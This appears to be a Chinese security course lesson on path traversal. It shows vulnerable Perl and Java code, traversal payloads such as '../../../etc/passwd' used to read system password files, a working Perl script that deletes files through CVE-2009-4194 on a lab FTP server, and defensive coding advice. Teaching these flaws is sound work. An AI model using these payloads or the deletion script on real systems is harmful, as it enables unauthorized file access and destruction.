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# 02｜路径穿越：你的Web应用系统成了攻击者的资源管理器？
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你好，我是王昊天。
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上节课呢，我们学习了失效的访问控制，这节课我想和你一起探索另一个有趣的漏洞类型——神奇的路径穿越。
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想象你是一个勇者，而你这次的目标是要进入一座盘踞着古龙的城堡寻找宝藏。考虑到自己还不够强大，正面进攻明显会送了自己的小命，于是你打算先绕道看看，这个城堡有没有什么其他可以进入的方式。幸运的是，作为一座昔日的王宫，这座城堡的设计完整，有许多侧门；但同时你也会发现，每一扇侧门的背后不是仓库就是守卫室，完全不能帮助你进入城堡内部。经过了一整天的探索，你终于发现了一个房间，它和其他仓库在外观上并无二致，唯一的不同是其中一块地板下竟藏着一扇暗门，你怀着好奇缓缓开启这扇门，发现面前正是一条通往城堡的密道…
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如果把城堡看作是你进行安全检测的系统，那么恭喜你，现在你已经成功找到了路径穿越漏洞。通过这种漏洞，你可以访问“城堡”内部的各种“宝藏”。当然，你具体能访问到什么样的宝藏，还要取决于地道究竟能够通往何处。
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## 路径穿越
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那么什么是路径穿越呢？简单来说，你所构建的系统中有一个功能组件使用外部输入来构建文件名，而这个文件名会用来定位一个在受限目录的文件，如果文件名中既包含一些特殊元素，又没有进行合理的过滤处理，就会导致路径被解析到受限文件夹之外的目录。
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扩展开讲一讲，很多系统内部的文件操作都希望被限制在特定目录中进行。通过使用`..`以及`/`符号，攻击者可以进行文件路径逃逸。其中最常见的符号组合是`../`，这种符号组合在操作系统中会被解析为上级目录，这种漏洞被称为相对路径穿越。绝对路径穿越是另一种类型的路径穿越，比如`/usr/local/bin`就是典型的例子。
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接下来我们看几种典型的攻击场景：
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1. 这里我们来看一种典型的**社交网络应用代码**，每个用户的配置文件都被存储在单独的文件中，所有文件被集中到一个目录里：
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```perl
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my $dataPath = "/users/example/profiles";
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my $username = param("user");
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my $profilePath = $dataPath . "/" . $username;
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// 这里是老师写的注释
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// 并没有对用户传入的username参数进行验证
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open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
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print "<ul>\n";
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while(<$fh>) {
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print "<li>$_</li>\n";
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}
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print "</ul>\n";
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```
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当用户尝试去访问自己的配置文件的时候，会组成如下路径：
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```plain
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/users/example/prfiles/hunter
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```
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但是这里要注意的是上述代码并没有对用户传入的参数做验证，因此攻击者可以提供如下参数：
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```plain
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../../../etc/passwd
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```
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通过拼接，攻击者将会得到一个完整的路径：
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```plain
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/users/example/profiles/../../../etc/passwd ==> /etc/passwd
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```
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通过这条路径，攻击者就可以成功访问到Linux系统的password文件。
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2. 下面这个代码在编写过程中考虑到输入的不安全性，**采用了黑名单方式**，过滤掉了输入中包含的`../`字符。
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```perl
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my $username = GetUntrustedInput();
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// 这里是老师写的注释
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// 黑名单方式过滤
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// 对username的过滤不严格
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$username = ~ s/\.\.\///;
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my $filename = "/home/user/" . $username;
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ReadAndSendFile($filename);
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```
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但是值得注意的是，过滤代码中并没有使用`/g`这个全局匹配符，因此仅仅过滤掉了参数中出现的第一个`../`字符：
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```plain
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../../../etc/passwd => /home/user/../../etc/passwd
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```
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所以攻击者仍然可以通过多层拼接来实现攻击。
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3. 如下代码也在编写中考虑到输入的不安全性，**它采用了白名单方式**，限制了路径：
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```java
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String path = getInputPath();
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// 这里是老师写的注释
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// 白名单方式过滤
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// 对path的限制不够严格
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if (path.startsWith("/safe_dir/"))
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{
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File f = new File(path);
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f.delete()
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}
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```
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但是攻击者依然可以通过提供如下参数进行绕过：
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```plain
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/safe_dir/../etc/passwd
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```
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4. 如下代码**通过在前端上传文件自动获取属性**，凭借这样的方式限制用户输入：
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```plain
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<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
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Choose a file to upload:
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<input type="file" name="filename"/>
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<br/>
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<input type="submit" name="submit" value="Submit"/>
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</form>
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```
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如下Java Servlet代码通过doPost方法接受请求，从HTTP Request Header中解析文件名，然后从Request中读取内容后再写入本地upload目录：
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```java
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public class FileUploadServlet extends HttpServlet {
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...
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protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
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response.setContentType("text/html");
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PrintWriter out = response.getWriter();
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String contentType = request.getContentType();
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// the starting position of the boundary header
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int ind = contentType.indexOf("boundary=");
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String boundary = contentType.substring(ind+9);
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String pLine = new String();
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String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
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// verify that content type is multipart form data
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if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
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// extract the filename from the Http header
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BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
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...
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pLine = br.readLine();
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String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
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...
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// output the file to the local upload directory
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try {
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// 这里是老师写的注释
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// 攻击者可以修改Request中的filename进行攻击
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BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
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for (String line; (line=br.readLine())!=null; ) {
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if (line.indexOf(boundary) == -1) {
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bw.write(line);
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bw.newLine();
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bw.flush();
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}
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} //end of for loop
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bw.close();
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} catch (IOException ex) {
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...
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}
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// output successful upload response HTML page
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}
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// output unsuccessful upload response HTML page
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else
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{...}
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}
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...
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}
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```
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上述代码一方面没有对上传的文件类型进行检查（这节课我们不探讨这个安全问题），另一方面没有检查filename就直接进行了拼接，因此攻击者只需要通过Burpsuite、ZAP等Proxy应用对Request进行拦截和修改filename属性即可利用路径穿越漏洞。
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在了解典型的风险场景之后，我们来看一下实战中真正出现过的安全漏洞。
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## 案例实战
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#### **CVE-2009-4194**
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该漏洞是一个目录穿越漏洞，影响的软件版本是Golden FTP Server 4.30 Free 以及 Professional版本、4.50版本（未验证），允许攻击者通过DELE命令删除任意文件。
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启动MiTuan中的CVE-2009-4194靶机，这是一个Windows 7系统，内置了Golden FTP Server 4.30版本，并且已经预先设置好了FTP共享路径：
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```plain
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C:\Users\sty\Desktop
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```
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接下来构建我们的攻击程序，为了方便我们采用Perl语言。如果你使用的是Mac电脑，那么你可以无需配置环境，直接运行我们编写好的攻击程序体验效果：
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```perl
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use strict;
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use Net::FTP
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print "1";
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my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
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$ftp->login("anonymous", "") || die $ftp->message;
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$ftp->cwd("/Desktop/") || die $ftp->message;
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# This deletes the file C:\Users\sty\test.txt
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$ftp->delete("../test.txt");
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$ftp->quit;
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$ftp = undef;
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```
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通过上述的代码，我们可以看到`C:\Users\sty\test.txt`文件已经被删除了，我们成功穿越了FTP Server的限制，实现了了任意文件的删除！又一个神奇的漏洞被我们成功利用了，身为勇士的你成功地获取了城堡内宝藏的控制权。
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## 防御方案
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既然我们已经了解了漏洞的原理、发生的场景以及利用方式，那么我们要如何防御这种类型的攻击，并且预防潜在的漏洞出现呢？我们可以从不同的阶段出发，进行多维度安全建设，从而最大化地降低这类风险出现的概率。
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**在编码实现阶段：**
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1\. 假设所有的输入都是恶意的，使用“只接受已知的善意的”输入检查策略，也就是使用一些定义清晰且严格的参数格式；
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2\. 输入都应该被解码为程序内部的处理格式，并且确保在应用系统没有被二次解码，防止攻击者通过编码或者二次编码进行绕过；
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3\. 如果可能，为用户提供选项或者通过应用系统内部ID映射的方式进行对象访问，例如ID 1对应“info.txt”；
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4\. 确保Error Message只包含最小必要信息，避免过于详细的信息展示，防止攻击者因此获取系统相关信息。
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**在架构设计阶段：**
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1\. 确保所有客户端发生的安全检查，都在服务端完成第二次检查，这样做的目的是防止攻击者在客户端进行安全检查绕过；
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2\. 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
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**在防御建设阶段：**
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1\. 使用可以防御这种类型攻击的应用层防火墙，在某些特定情况下（比如应用系统漏洞无法修复）非常有效；
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2\. 使用最小权限运行开发完毕的应用系统，如果可能，创建独立的受限账户用于应用系统运行；
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3\. 使用沙箱环境运行开发完毕的应用系统，做好进程和系统之间的边界隔离。
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回到我们最初的场景，此时你不再是想要潜入城堡的勇士，而是昔日负责城堡建设的规划师。那么编码实现阶段的输入过滤就像一道道门禁关卡，只有真正城堡内部的人才能进入；架构设计阶段则让你从内到外地落地安全检查，当然你也可以借鉴成熟的城堡设计方案；最后在防御建设阶段，做好每个通道的隔离，确保不会有任何一条通道可以直接进入城堡核心区域。
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## 总结
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构建一个安全优雅的系统，**保持神秘性是一个至关重要的因素**，让用户只看到他应该看到的东西，是这一切的前提。
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不怀好意的攻击者往往非常聪明，你让他看见一滴水，他就能想到路的尽头是一片海洋，最有趣的事情在于你所建设的系统尽头恰好有一片海洋，而且海里还有攻击者垂涎的海鲜。
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这节课我们分析了**常见的路径穿越场景**和这些场景下的**典型漏洞利用代码**：
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1. 未对用户输入做验证；
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2. 黑名单检测绕过；
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3. 白名单检测绕过；
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4. 前端检测绕过。
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我们还以**漏洞CVE-2009-4194**为例，带你在实战中复现了路径穿越漏洞。
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最后，我从编码实现、架构设计、防御建设3个不同的阶段，给你提供了**安全编码和系统加固的建议**：
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1. 对所有用户输入执行严格的输入检查，确保不会出现二次解码绕过问题，并推荐使用内部ID映射的方式进行对象访问；
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2. 使用成熟的开发框架，并且在客户端、服务端都执行安全检查；
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3. 使用沙箱环境运行应用系统，遵循最小权限原则，使用独立的受限权限账户，并在边界架设应用防火墙。
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以上，就是本节课的内容——构建一个安全优雅的系统，让用户只能走到他该走到的地方。
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## 思考题
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通过本节课的案例实战，你可以尝试自己复现CVE-2009-4053漏洞吗？
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欢迎在评论区留下你的思考，我们下节课再见。
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